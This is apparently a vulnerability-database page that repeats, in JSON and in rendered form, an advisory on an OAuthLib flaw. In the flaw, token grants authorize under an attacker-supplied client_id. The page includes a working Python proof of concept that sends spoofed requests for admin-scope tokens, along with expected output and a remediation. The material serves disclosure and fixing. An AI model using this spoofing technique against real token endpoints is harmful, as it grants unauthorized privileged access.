"url": "https://github.com/oauthlib/oauthlib/security/advisories/GHSA-7984-qgvg-3j9c"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-118669"
},
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/pull/920"
},
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/commit/c951a1d09f99f14e3240973fa83c4f4287d4753d"
},
{
"type": "PACKAGE",
"url": "https://github.com/oauthlib/oauthlib"
},
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/releases/tag/v4.0.0"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:H/SI:H/SA:N",
"type": "CVSS_V4"
}
],
"summary": "OAuthLib: Token grants can use attacker-supplied client_id for authorization after authenticating a different client",
"upstream": [
"GHSA-7984-qgvg-3j9c",
"CVE-2026-118669"
]
}
BREW-ANSIBLE@9-CVE-2026-118669 (GHSA-7984-QGVG-3J9C)
Vulnerability from osv_homebrew – Published: 2026-10-31 08:33 – Updated: 2026-10-31 08:33 – Source websiteSummary
OAuthlib's token grant handlers can authenticate one client while authorizing the grant type and requested scopes using a different, attacker-supplied client_id from the request body.
In affected token grant flows, authenticate_client(request) sets request.client to the authenticated client object, but OAuthlib does not require request.client_id to match request.client.client_id. If the request body already contains client_id=..., OAuthlib keeps that value and passes it to validate_grant_type() and validate_scopes().
As a result, an authenticated low-privilege confidential client can authenticate as itself, submit another client's client_id in the token request body, and cause grant and scope validation to run under that other client identity.
Affected Surface
The affected public surface is the OAuth2 token endpoint handling for:
client_credentialspassword/ Resource Owner Password Credentials
The issue is relevant to OAuthlib provider deployments where:
- the attacker has credentials for one valid lower-privilege confidential client;
- another client has broader grants or scopes;
- the application validator uses the
client_idargument passed by OAuthlib invalidate_grant_type()orvalidate_scopes(), as theRequestValidatorAPI is designed to support.
Deployments whose validators ignore the client_id argument and authorize only from request.client may not be affected.
Details
Request parses query and body parameters into request attributes, including client_id:
- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/common.py#L360-L397
The RequestValidator.authenticate_client() contract requires the integrator to authenticate the client and set request.client:
- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/request_validator.py#L41-L66
For the client_credentials grant, OAuthlib authenticates the client, verifies that request.client has a client_id, then performs grant and scope validation before normalizing request.client_id from request.client.client_id:
- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/client_credentials.py#L106-L119
The problematic order is:
if not self.request_validator.authenticate_client(request):
...
elif not hasattr(request.client, 'client_id'):
...
self.validate_grant_type(request)
request.client_id = request.client_id or request.client.client_id
self.validate_scopes(request)
Because OAuthlib only fills request.client_id when it is missing, an attacker-supplied body value such as client_id=high survives even when request.client.client_id == "low".
The shared grant helper then authorizes using request.client_id, while passing the authenticated client object separately:
validate_grant_type(request.client_id, request.grant_type, request.client, request): https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/base.py#L152-L162validate_scopes(request.client_id, request.scopes, request.client, request): https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/base.py#L164-L176
The same identity split exists in the Resource Owner Password Credentials flow. After client authentication and user validation, OAuthlib validates the grant and scopes before replacing a missing request.client_id from request.client.client_id:
- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/resource_owner_password_credentials.py#L87-L97
- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/resource_owner_password_credentials.py#L178-L195
This creates an inconsistent identity state:
request.client.client_id == "low" # authenticated client
request.client_id == "high" # attacker-supplied request parameter
OAuthlib then calls application authorization hooks with both values, but uses the attacker-controlled request.client_id as the first-class client_id argument.
Impact
An authenticated lower-privilege confidential client can obtain tokens authorized under another client's grant and scope policy if the application's validator follows the RequestValidator API and authorizes by the client_id argument.
Concrete impact can include:
- issuing access tokens with scopes not assigned to the authenticated client;
- allowing a low-privilege client to use a grant type reserved for a higher-privilege client;
- persisting tokens under a spoofed
client_idwhile the authenticated client object is different.
This is a token authorization bypass, not an unauthenticated attack. The attacker needs valid credentials for one client.
PoC
Create the following files in an empty directory.
requirements.txt:
oauthlib==3.3.1
repro.py:
import base64
import json
from oauthlib.oauth2 import (
BearerToken,
ClientCredentialsGrant,
RequestValidator,
ResourceOwnerPasswordCredentialsGrant,
TokenEndpoint,
)
class Client:
def __init__(self, client_id):
self.client_id = client_id
CLIENTS = {
"low": {
"secret": "low-secret",
"grants": {"client_credentials", "password"},
"scopes": {"read"},
},
"high": {
"secret": "high-secret",
"grants": {"client_credentials", "password"},
"scopes": {"read", "admin"},
},
}
class DemoValidator(RequestValidator):
def __init__(self):
self.saved_tokens = []
def authenticate_client(self, request, *args, **kwargs):
authorization = request.headers.get("Authorization", "")
prefix = "Basic "
if not authorization.startswith(prefix):
return False
decoded = base64.b64decode(authorization[len(prefix):]).decode("utf-8")
client_id, secret = decoded.split(":", 1)
record = CLIENTS.get(client_id)
if record is None or record["secret"] != secret:
return False
# This is the authenticated client identity.
request.client = Client(client_id)
return True
def client_authentication_required(self, request, *args, **kwargs):
return True
def validate_grant_type(self, client_id, grant_type, client, request, *args, **kwargs):
record = CLIENTS.get(client_id)
return record is not None and grant_type in record["grants"]
def validate_scopes(self, client_id, scopes, client, request, *args, **kwargs):
record = CLIENTS.get(client_id)
return record is not None and set(scopes or []) <= record["scopes"]
def get_default_scopes(self, client_id, request, *args, **kwargs):
return []
def validate_user(self, username, password, client, request, *args, **kwargs):
if username == "alice" and password == "wonderland":
request.user = username
return True
return False
def save_bearer_token(self, token, request, *args, **kwargs):
self.saved_tokens.append({
"token": dict(token),
"authenticated_client_id": request.client.client_id,
"request_client_id": request.client_id,
"scopes": list(request.scopes or []),
})
validator = DemoValidator()
token = BearerToken(validator, expires_in=3600)
endpoint = TokenEndpoint(
default_grant_type="client_credentials",
default_token_type=token,
grant_types={
"client_credentials": ClientCredentialsGrant(validator),
"password": ResourceOwnerPasswordCredentialsGrant(validator),
},
)
def low_client_headers():
value = base64.b64encode(b"low:low-secret").decode("ascii")
return {"Authorization": f"Basic {value}"}
def token_request(body):
_headers, response_body, status = endpoint.create_token_response(
"https://auth.example/token",
body=body,
headers=low_client_headers(),
)
return status, json.loads(response_body)
def assert_rejected(label, body):
status, response = token_request(body)
print(label, status, response)
if status == 200:
raise SystemExit(f"{label}: expected rejection, got success")
def assert_spoofed_success(label, body):
status, response = token_request(body)
print(label, status, response)
if status != 200:
raise SystemExit(f"{label}: expected token, got {status} {response}")
if response.get("scope") != "admin":
raise SystemExit(f"{label}: expected admin scope, got {response}")
saved = validator.saved_tokens[-1]
if saved["authenticated_client_id"] != "low":
raise SystemExit(f"{label}: authenticated client changed unexpectedly: {saved}")
if saved["request_client_id"] != "high":
raise SystemExit(f"{label}: spoofed request client_id was not preserved: {saved}")
assert_rejected(
"control client_credentials as low requesting admin",
"grant_type=client_credentials&client_id=low&scope=admin",
)
assert_spoofed_success(
"spoofed client_credentials as low with client_id=high",
"grant_type=client_credentials&client_id=high&scope=admin",
)
assert_rejected(
"control password as low requesting admin",
"grant_type=password&client_id=low&username=alice&password=wonderland&scope=admin",
)
assert_spoofed_success(
"spoofed password as low with client_id=high",
"grant_type=password&client_id=high&username=alice&password=wonderland&scope=admin",
)
print("OAUTHLIB_CLIENT_ID_SPOOFING_CONFIRMED")
print(json.dumps(validator.saved_tokens, indent=2, sort_keys=True))
Run:
python -m venv .venv
. .venv/bin/activate
python -m pip install -r requirements.txt
python repro.py
Expected result:
control client_credentials as low requesting admin 400 {'error': 'invalid_scope'}
spoofed client_credentials as low with client_id=high 200 {'access_token': '...', 'expires_in': 3600, 'token_type': 'Bearer', 'scope': 'admin'}
control password as low requesting admin 400 {'error': 'invalid_scope'}
spoofed password as low with client_id=high 200 {'access_token': '...', 'expires_in': 3600, 'token_type': 'Bearer', 'scope': 'admin', 'refresh_token': '...'}
OAUTHLIB_CLIENT_ID_SPOOFING_CONFIRMED
The success condition is that both successful token responses are produced while the saved token state shows:
{
"authenticated_client_id": "low",
"request_client_id": "high",
"scopes": ["admin"]
}
That demonstrates that the authenticated client is low, while grant and scope authorization used the attacker-supplied client_id=high.
Suggested Remediation
After client authentication succeeds, OAuthlib should reject a token request if an explicit request client_id is present and does not match request.client.client_id.
For authenticated confidential-client flows, a safer invariant is:
if request.client is not None:
if request.client_id is not None and request.client_id != request.client.client_id:
raise InvalidClientError(...)
request.client_id = request.client.client_id
This should happen before validate_grant_type() and validate_scopes() are called.
Reporters:
- liyi.zhou@sydney.edu.au (Liyi), https://lzhou1110.github.io/
- ziyue0530@gmail.com (Ziyue), https://zyy0530.github.io/
- cshe0476@uni.sydney.edu.au (Strick), https://str1ckl4nd.github.io/
- chng0012@uni.sydney.edu.au (Maurice), http://maurice.busystar.org/
- cyu210608@gmail.com (Chenchen), https://7thparkk.github.io/
| URL | Type | |||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": null,
"range_state": "affected",
"resource": "oauthlib",
"resource_purl": "pkg:pypi/oauthlib@3.3.1",
"upstream_fixed_in": "4.0.0"
},
"package": {
"ecosystem": "Homebrew",
"name": "ansible@9",
"purl": "pkg:brew/ansible%409"
},
"ranges": [
{
"events": [
{
"introduced": "9.6.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/oauthlib@3.3.1",
"name": "oauthlib",
"resource": "oauthlib",
"strategy": "registry",
"subject_version": "3.3.1"
}
]
},
"details": "## Summary\n\nOAuthlib\u0027s token grant handlers can authenticate one client while authorizing the grant type and requested scopes using a different, attacker-supplied `client_id` from the request body.\n\nIn affected token grant flows, `authenticate_client(request)` sets `request.client` to the authenticated client object, but OAuthlib does not require `request.client_id` to match `request.client.client_id`. If the request body already contains `client_id=...`, OAuthlib keeps that value and passes it to `validate_grant_type()` and `validate_scopes()`.\n\nAs a result, an authenticated low-privilege confidential client can authenticate as itself, submit another client\u0027s `client_id` in the token request body, and cause grant and scope validation to run under that other client identity.\n\n## Affected Surface\n\nThe affected public surface is the OAuth2 token endpoint handling for:\n\n- `client_credentials`\n- `password` / Resource Owner Password Credentials\n\nThe issue is relevant to OAuthlib provider deployments where:\n\n- the attacker has credentials for one valid lower-privilege confidential client;\n- another client has broader grants or scopes;\n- the application validator uses the `client_id` argument passed by OAuthlib in `validate_grant_type()` or `validate_scopes()`, as the `RequestValidator` API is designed to support.\n\nDeployments whose validators ignore the `client_id` argument and authorize only from `request.client` may not be affected.\n\n## Details\n\n`Request` parses query and body parameters into request attributes, including `client_id`:\n\n- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/common.py#L360-L397\n\nThe `RequestValidator.authenticate_client()` contract requires the integrator to authenticate the client and set `request.client`:\n\n- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/request_validator.py#L41-L66\n\nFor the `client_credentials` grant, OAuthlib authenticates the client, verifies that `request.client` has a `client_id`, then performs grant and scope validation before normalizing `request.client_id` from `request.client.client_id`:\n\n- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/client_credentials.py#L106-L119\n\nThe problematic order is:\n\n```python\nif not self.request_validator.authenticate_client(request):\n ...\nelif not hasattr(request.client, \u0027client_id\u0027):\n ...\n\nself.validate_grant_type(request)\n\nrequest.client_id = request.client_id or request.client.client_id\nself.validate_scopes(request)\n```\n\nBecause OAuthlib only fills `request.client_id` when it is missing, an attacker-supplied body value such as `client_id=high` survives even when `request.client.client_id == \"low\"`.\n\nThe shared grant helper then authorizes using `request.client_id`, while passing the authenticated client object separately:\n\n- `validate_grant_type(request.client_id, request.grant_type, request.client, request)`: https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/base.py#L152-L162\n- `validate_scopes(request.client_id, request.scopes, request.client, request)`: https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/base.py#L164-L176\n\nThe same identity split exists in the Resource Owner Password Credentials flow. After client authentication and user validation, OAuthlib validates the grant and scopes before replacing a missing `request.client_id` from `request.client.client_id`:\n\n- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/resource_owner_password_credentials.py#L87-L97\n- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/resource_owner_password_credentials.py#L178-L195\n\nThis creates an inconsistent identity state:\n\n```text\nrequest.client.client_id == \"low\" # authenticated client\nrequest.client_id == \"high\" # attacker-supplied request parameter\n```\n\nOAuthlib then calls application authorization hooks with both values, but uses the attacker-controlled `request.client_id` as the first-class `client_id` argument.\n\n## Impact\n\nAn authenticated lower-privilege confidential client can obtain tokens authorized under another client\u0027s grant and scope policy if the application\u0027s validator follows the `RequestValidator` API and authorizes by the `client_id` argument.\n\nConcrete impact can include:\n\n- issuing access tokens with scopes not assigned to the authenticated client;\n- allowing a low-privilege client to use a grant type reserved for a higher-privilege client;\n- persisting tokens under a spoofed `client_id` while the authenticated client object is different.\n\nThis is a token authorization bypass, not an unauthenticated attack. The attacker needs valid credentials for one client.\n\n## PoC\n\nCreate the following files in an empty directory.\n\n`requirements.txt`:\n\n```text\noauthlib==3.3.1\n```\n\n`repro.py`:\n\n```python\nimport base64\nimport json\n\nfrom oauthlib.oauth2 import (\n BearerToken,\n ClientCredentialsGrant,\n RequestValidator,\n ResourceOwnerPasswordCredentialsGrant,\n TokenEndpoint,\n)\n\n\nclass Client:\n def __init__(self, client_id):\n self.client_id = client_id\n\n\nCLIENTS = {\n \"low\": {\n \"secret\": \"low-secret\",\n \"grants\": {\"client_credentials\", \"password\"},\n \"scopes\": {\"read\"},\n },\n \"high\": {\n \"secret\": \"high-secret\",\n \"grants\": {\"client_credentials\", \"password\"},\n \"scopes\": {\"read\", \"admin\"},\n },\n}\n\n\nclass DemoValidator(RequestValidator):\n def __init__(self):\n self.saved_tokens = []\n\n def authenticate_client(self, request, *args, **kwargs):\n authorization = request.headers.get(\"Authorization\", \"\")\n prefix = \"Basic \"\n if not authorization.startswith(prefix):\n return False\n\n decoded = base64.b64decode(authorization[len(prefix):]).decode(\"utf-8\")\n client_id, secret = decoded.split(\":\", 1)\n record = CLIENTS.get(client_id)\n if record is None or record[\"secret\"] != secret:\n return False\n\n # This is the authenticated client identity.\n request.client = Client(client_id)\n return True\n\n def client_authentication_required(self, request, *args, **kwargs):\n return True\n\n def validate_grant_type(self, client_id, grant_type, client, request, *args, **kwargs):\n record = CLIENTS.get(client_id)\n return record is not None and grant_type in record[\"grants\"]\n\n def validate_scopes(self, client_id, scopes, client, request, *args, **kwargs):\n record = CLIENTS.get(client_id)\n return record is not None and set(scopes or []) \u003c= record[\"scopes\"]\n\n def get_default_scopes(self, client_id, request, *args, **kwargs):\n return []\n\n def validate_user(self, username, password, client, request, *args, **kwargs):\n if username == \"alice\" and password == \"wonderland\":\n request.user = username\n return True\n return False\n\n def save_bearer_token(self, token, request, *args, **kwargs):\n self.saved_tokens.append({\n \"token\": dict(token),\n \"authenticated_client_id\": request.client.client_id,\n \"request_client_id\": request.client_id,\n \"scopes\": list(request.scopes or []),\n })\n\n\nvalidator = DemoValidator()\ntoken = BearerToken(validator, expires_in=3600)\nendpoint = TokenEndpoint(\n default_grant_type=\"client_credentials\",\n default_token_type=token,\n grant_types={\n \"client_credentials\": ClientCredentialsGrant(validator),\n \"password\": ResourceOwnerPasswordCredentialsGrant(validator),\n },\n)\n\n\ndef low_client_headers():\n value = base64.b64encode(b\"low:low-secret\").decode(\"ascii\")\n return {\"Authorization\": f\"Basic {value}\"}\n\n\ndef token_request(body):\n _headers, response_body, status = endpoint.create_token_response(\n \"https://auth.example/token\",\n body=body,\n headers=low_client_headers(),\n )\n return status, json.loads(response_body)\n\n\ndef assert_rejected(label, body):\n status, response = token_request(body)\n print(label, status, response)\n if status == 200:\n raise SystemExit(f\"{label}: expected rejection, got success\")\n\n\ndef assert_spoofed_success(label, body):\n status, response = token_request(body)\n print(label, status, response)\n if status != 200:\n raise SystemExit(f\"{label}: expected token, got {status} {response}\")\n if response.get(\"scope\") != \"admin\":\n raise SystemExit(f\"{label}: expected admin scope, got {response}\")\n\n saved = validator.saved_tokens[-1]\n if saved[\"authenticated_client_id\"] != \"low\":\n raise SystemExit(f\"{label}: authenticated client changed unexpectedly: {saved}\")\n if saved[\"request_client_id\"] != \"high\":\n raise SystemExit(f\"{label}: spoofed request client_id was not preserved: {saved}\")\n\n\nassert_rejected(\n \"control client_credentials as low requesting admin\",\n \"grant_type=client_credentials\u0026client_id=low\u0026scope=admin\",\n)\nassert_spoofed_success(\n \"spoofed client_credentials as low with client_id=high\",\n \"grant_type=client_credentials\u0026client_id=high\u0026scope=admin\",\n)\n\nassert_rejected(\n \"control password as low requesting admin\",\n \"grant_type=password\u0026client_id=low\u0026username=alice\u0026password=wonderland\u0026scope=admin\",\n)\nassert_spoofed_success(\n \"spoofed password as low with client_id=high\",\n \"grant_type=password\u0026client_id=high\u0026username=alice\u0026password=wonderland\u0026scope=admin\",\n)\n\nprint(\"OAUTHLIB_CLIENT_ID_SPOOFING_CONFIRMED\")\nprint(json.dumps(validator.saved_tokens, indent=2, sort_keys=True))\n```\n\nRun:\n\n```bash\npython -m venv .venv\n. .venv/bin/activate\npython -m pip install -r requirements.txt\npython repro.py\n```\n\nExpected result:\n\n```text\ncontrol client_credentials as low requesting admin 400 {\u0027error\u0027: \u0027invalid_scope\u0027}\nspoofed client_credentials as low with client_id=high 200 {\u0027access_token\u0027: \u0027...\u0027, \u0027expires_in\u0027: 3600, \u0027token_type\u0027: \u0027Bearer\u0027, \u0027scope\u0027: \u0027admin\u0027}\ncontrol password as low requesting admin 400 {\u0027error\u0027: \u0027invalid_scope\u0027}\nspoofed password as low with client_id=high 200 {\u0027access_token\u0027: \u0027...\u0027, \u0027expires_in\u0027: 3600, \u0027token_type\u0027: \u0027Bearer\u0027, \u0027scope\u0027: \u0027admin\u0027, \u0027refresh_token\u0027: \u0027...\u0027}\nOAUTHLIB_CLIENT_ID_SPOOFING_CONFIRMED\n```\n\nThe success condition is that both successful token responses are produced while the saved token state shows:\n\n```json\n{\n \"authenticated_client_id\": \"low\",\n \"request_client_id\": \"high\",\n \"scopes\": [\"admin\"]\n}\n```\n\nThat demonstrates that the authenticated client is `low`, while grant and scope authorization used the attacker-supplied `client_id=high`.\n\n## Suggested Remediation\n\nAfter client authentication succeeds, OAuthlib should reject a token request if an explicit request `client_id` is present and does not match `request.client.client_id`.\n\nFor authenticated confidential-client flows, a safer invariant is:\n\n```python\nif request.client is not None:\n if request.client_id is not None and request.client_id != request.client.client_id:\n raise InvalidClientError(...)\n request.client_id = request.client.client_id\n```\n\nThis should happen before `validate_grant_type()` and `validate_scopes()` are called.\n\nReporters:\n\n- liyi.zhou@sydney.edu.au (Liyi), https://lzhou1110.github.io/\n- ziyue0530@gmail.com (Ziyue), https://zyy0530.github.io/\n- cshe0476@uni.sydney.edu.au (Strick), https://str1ckl4nd.github.io/\n- chng0012@uni.sydney.edu.au (Maurice), http://maurice.busystar.org/\n- cyu210608@gmail.com (Chenchen), https://7thparkk.github.io/",
"id": "BREW-ansible@9-CVE-2026-118669",
"modified": "2026-10-31T08:33:34Z",
"published": "2026-10-31T08:33:34Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/security/advisories/GHSA-7984-qgvg-3j9c"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-118669"
},
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/pull/920"
},
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/commit/c951a1d09f99f14e3240973fa83c4f4287d4753d"
},
{
"type": "PACKAGE",
"url": "https://github.com/oauthlib/oauthlib"
},
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/releases/tag/v4.0.0"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:H/SI:H/SA:N",
"type": "CVSS_V4"
}
],
"summary": "OAuthLib: Token grants can use attacker-supplied client_id for authorization after authenticating a different client",
"upstream": [
"GHSA-7984-qgvg-3j9c",
"CVE-2026-118669"
]
}
BREW-APPRISE-CVE-2026-118669 (GHSA-7984-QGVG-3J9C)
Vulnerability from osv_homebrew – Published: 2026-10-31 08:32 – Updated: 2026-10-31 08:32 – Source websiteSummary
OAuthlib's token grant handlers can authenticate one client while authorizing the grant type and requested scopes using a different, attacker-supplied client_id from the request body.
In affected token grant flows, authenticate_client(request) sets request.client to the authenticated client object, but OAuthlib does not require request.client_id to match request.client.client_id. If the request body already contains client_id=..., OAuthlib keeps that value and passes it to validate_grant_type() and validate_scopes().
As a result, an authenticated low-privilege confidential client can authenticate as itself, submit another client's client_id in the token request body, and cause grant and scope validation to run under that other client identity.
Affected Surface
The affected public surface is the OAuth2 token endpoint handling for:
client_credentialspassword/ Resource Owner Password Credentials
The issue is relevant to OAuthlib provider deployments where:
- the attacker has credentials for one valid lower-privilege confidential client;
- another client has broader grants or scopes;
- the application validator uses the
client_idargument passed by OAuthlib invalidate_grant_type()orvalidate_scopes(), as theRequestValidatorAPI is designed to support.
Deployments whose validators ignore the client_id argument and authorize only from request.client may not be affected.
Details
Request parses query and body parameters into request attributes, including client_id:
- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/common.py#L360-L397
The RequestValidator.authenticate_client() contract requires the integrator to authenticate the client and set request.client:
- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/request_validator.py#L41-L66
For the client_credentials grant, OAuthlib authenticates the client, verifies that request.client has a client_id, then performs grant and scope validation before normalizing request.client_id from request.client.client_id:
- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/client_credentials.py#L106-L119
The problematic order is:
if not self.request_validator.authenticate_client(request):
...
elif not hasattr(request.client, 'client_id'):
...
self.validate_grant_type(request)
request.client_id = request.client_id or request.client.client_id
self.validate_scopes(request)
Because OAuthlib only fills request.client_id when it is missing, an attacker-supplied body value such as client_id=high survives even when request.client.client_id == "low".
The shared grant helper then authorizes using request.client_id, while passing the authenticated client object separately:
validate_grant_type(request.client_id, request.grant_type, request.client, request): https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/base.py#L152-L162validate_scopes(request.client_id, request.scopes, request.client, request): https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/base.py#L164-L176
The same identity split exists in the Resource Owner Password Credentials flow. After client authentication and user validation, OAuthlib validates the grant and scopes before replacing a missing request.client_id from request.client.client_id:
- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/resource_owner_password_credentials.py#L87-L97
- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/resource_owner_password_credentials.py#L178-L195
This creates an inconsistent identity state:
request.client.client_id == "low" # authenticated client
request.client_id == "high" # attacker-supplied request parameter
OAuthlib then calls application authorization hooks with both values, but uses the attacker-controlled request.client_id as the first-class client_id argument.
Impact
An authenticated lower-privilege confidential client can obtain tokens authorized under another client's grant and scope policy if the application's validator follows the RequestValidator API and authorizes by the client_id argument.
Concrete impact can include:
- issuing access tokens with scopes not assigned to the authenticated client;
- allowing a low-privilege client to use a grant type reserved for a higher-privilege client;
- persisting tokens under a spoofed
client_idwhile the authenticated client object is different.
This is a token authorization bypass, not an unauthenticated attack. The attacker needs valid credentials for one client.
PoC
Create the following files in an empty directory.
requirements.txt:
oauthlib==3.3.1
repro.py:
import base64
import json
from oauthlib.oauth2 import (
BearerToken,
ClientCredentialsGrant,
RequestValidator,
ResourceOwnerPasswordCredentialsGrant,
TokenEndpoint,
)
class Client:
def __init__(self, client_id):
self.client_id = client_id
CLIENTS = {
"low": {
"secret": "low-secret",
"grants": {"client_credentials", "password"},
"scopes": {"read"},
},
"high": {
"secret": "high-secret",
"grants": {"client_credentials", "password"},
"scopes": {"read", "admin"},
},
}
class DemoValidator(RequestValidator):
def __init__(self):
self.saved_tokens = []
def authenticate_client(self, request, *args, **kwargs):
authorization = request.headers.get("Authorization", "")
prefix = "Basic "
if not authorization.startswith(prefix):
return False
decoded = base64.b64decode(authorization[len(prefix):]).decode("utf-8")
client_id, secret = decoded.split(":", 1)
record = CLIENTS.get(client_id)
if record is None or record["secret"] != secret:
return False
# This is the authenticated client identity.
request.client = Client(client_id)
return True
def client_authentication_required(self, request, *args, **kwargs):
return True
def validate_grant_type(self, client_id, grant_type, client, request, *args, **kwargs):
record = CLIENTS.get(client_id)
return record is not None and grant_type in record["grants"]
def validate_scopes(self, client_id, scopes, client, request, *args, **kwargs):
record = CLIENTS.get(client_id)
return record is not None and set(scopes or []) <= record["scopes"]
def get_default_scopes(self, client_id, request, *args, **kwargs):
return []
def validate_user(self, username, password, client, request, *args, **kwargs):
if username == "alice" and password == "wonderland":
request.user = username
return True
return False
def save_bearer_token(self, token, request, *args, **kwargs):
self.saved_tokens.append({
"token": dict(token),
"authenticated_client_id": request.client.client_id,
"request_client_id": request.client_id,
"scopes": list(request.scopes or []),
})
validator = DemoValidator()
token = BearerToken(validator, expires_in=3600)
endpoint = TokenEndpoint(
default_grant_type="client_credentials",
default_token_type=token,
grant_types={
"client_credentials": ClientCredentialsGrant(validator),
"password": ResourceOwnerPasswordCredentialsGrant(validator),
},
)
def low_client_headers():
value = base64.b64encode(b"low:low-secret").decode("ascii")
return {"Authorization": f"Basic {value}"}
def token_request(body):
_headers, response_body, status = endpoint.create_token_response(
"https://auth.example/token",
body=body,
headers=low_client_headers(),
)
return status, json.loads(response_body)
def assert_rejected(label, body):
status, response = token_request(body)
print(label, status, response)
if status == 200:
raise SystemExit(f"{label}: expected rejection, got success")
def assert_spoofed_success(label, body):
status, response = token_request(body)
print(label, status, response)
if status != 200:
raise SystemExit(f"{label}: expected token, got {status} {response}")
if response.get("scope") != "admin":
raise SystemExit(f"{label}: expected admin scope, got {response}")
saved = validator.saved_tokens[-1]
if saved["authenticated_client_id"] != "low":
raise SystemExit(f"{label}: authenticated client changed unexpectedly: {saved}")
if saved["request_client_id"] != "high":
raise SystemExit(f"{label}: spoofed request client_id was not preserved: {saved}")
assert_rejected(
"control client_credentials as low requesting admin",
"grant_type=client_credentials&client_id=low&scope=admin",
)
assert_spoofed_success(
"spoofed client_credentials as low with client_id=high",
"grant_type=client_credentials&client_id=high&scope=admin",
)
assert_rejected(
"control password as low requesting admin",
"grant_type=password&client_id=low&username=alice&password=wonderland&scope=admin",
)
assert_spoofed_success(
"spoofed password as low with client_id=high",
"grant_type=password&client_id=high&username=alice&password=wonderland&scope=admin",
)
print("OAUTHLIB_CLIENT_ID_SPOOFING_CONFIRMED")
print(json.dumps(validator.saved_tokens, indent=2, sort_keys=True))
Run:
python -m venv .venv
. .venv/bin/activate
python -m pip install -r requirements.txt
python repro.py
Expected result:
control client_credentials as low requesting admin 400 {'error': 'invalid_scope'}
spoofed client_credentials as low with client_id=high 200 {'access_token': '...', 'expires_in': 3600, 'token_type': 'Bearer', 'scope': 'admin'}
control password as low requesting admin 400 {'error': 'invalid_scope'}
spoofed password as low with client_id=high 200 {'access_token': '...', 'expires_in': 3600, 'token_type': 'Bearer', 'scope': 'admin', 'refresh_token': '...'}
OAUTHLIB_CLIENT_ID_SPOOFING_CONFIRMED
The success condition is that both successful token responses are produced while the saved token state shows:
{
"authenticated_client_id": "low",
"request_client_id": "high",
"scopes": ["admin"]
}
That demonstrates that the authenticated client is low, while grant and scope authorization used the attacker-supplied client_id=high.
Suggested Remediation
After client authentication succeeds, OAuthlib should reject a token request if an explicit request client_id is present and does not match request.client.client_id.
For authenticated confidential-client flows, a safer invariant is:
if request.client is not None:
if request.client_id is not None and request.client_id != request.client.client_id:
raise InvalidClientError(...)
request.client_id = request.client.client_id
This should happen before validate_grant_type() and validate_scopes() are called.
Reporters:
- liyi.zhou@sydney.edu.au (Liyi), https://lzhou1110.github.io/
- ziyue0530@gmail.com (Ziyue), https://zyy0530.github.io/
